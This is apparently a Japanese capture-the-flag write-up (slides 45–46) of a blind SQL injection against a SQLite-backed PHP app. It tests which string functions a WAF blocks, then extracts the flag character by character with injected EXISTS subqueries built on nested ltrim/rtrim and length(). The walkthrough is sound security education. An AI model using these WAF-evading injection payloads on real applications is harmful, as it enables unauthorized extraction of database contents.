45. 超文章転送術300 YamaToo 7
(続き)使える関数の洗い出し
次に、文字列操作できる関数を確認する。※ここからローカル環境を作って実験した。
×substrはWAF
×sleepはWAF
×LIKEはWAF
○HEX
''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x66) OR title = '''
⇒0x66はf。これでエラー出ないことを確認。
''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x6666666666666666) OR title = '''
⇒とりあえず何文字可能か確かめてみる。まだ大丈夫。
''' OR EXISTS (SELECT * FROM flag where HEX(flag)>0x66666666666666666) OR title = '''
⇒Fatal error: Uncaught exception 'Exception' with message 'hex literal too big: 0x6666666666
6666666' in /var/www/html/index.php:67 Stack trace: #0 {main} thrown in /var/www/html/index.php
on line 67
文字数の限界でエラー!8文字までしか無理!
×ASCII()一番左にあるアスキーコードを返す。関数は存在しない。
''' OR EXISTS (SELECT * FROM flag where ascii(flag)=0x66) OR title = '''
⇒Fatal error: Uncaught exception 'Exception' with message 'no such function: ascii' in /var/
www/html/index.php:67 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 67
×locate()の関数は存在しない。
''' OR EXISTS (SELECT flag FROM flag where locate(flag,char(70),1)) OR title = '''
×midは存在しない。
×instrはWAF。指定文字の位置がわかる。
×grobはWAF
×transirateは存在しない。
○trim指定文字列を取り除く。lengthと併用すれば特定の文字の数はわかる。おしい。
◎ltrim、rtrim。一番左/右に指定した文字列がある場合は削除する。※複数ある場合は複数削除される。
⇒length(ltrim(flag,'f'))でいけそう。59文字分やらないといけないけど。
46. 超文章転送術300 YamaToo 8
(続き)ltrim/rtrimによるブラインドSQLインジェクション詳細手順
▼ltrimで一番左の文字fがあれば取り除く
''' OR EXISTS (SELECT * FROM flag where length(ltrim(flag,char(0x20)))=59) OR title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(flag,char(0x66)))=58) OR title = '''
⇒結果が表示される。fで確定★
▼
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(flag,char(0x66)),char(0x20)))=58) OR
title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(flag,char(0x66)),char(0x6c)))=57) OR
title = '''
⇒結果が表示される。lで確定★
▼
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(ltrim(flag,char(0x66)),char(0x6c)),c
har(0x20)))=57) OR title = '''
⇒結果が表示されない。
''' OR EXISTS (SELECT * FROM flag where length(ltrim(ltrim(ltrim(flag,char(0x66)),char(0x6c)),c
har(0x61)))=56) OR title = '''
⇒結果が表示される。aで確定★
▼以下、面倒なのでpythonでスクリプトを書く。
Content-Length: 2367
Content-Length: 1087
⇒length>2000かどうかで自動判定すればいける。
▼24文字目で、文字列が長すぎてSQLiteでエラーがでる。><
とりあえず、左からltrim()、右からrtrim()で、左右から24文字×2=48文字抽出完了。
flag={3rR0r_b453d_5Ql_1n???????????1Mp0r74n7_d0_n07_F0r637}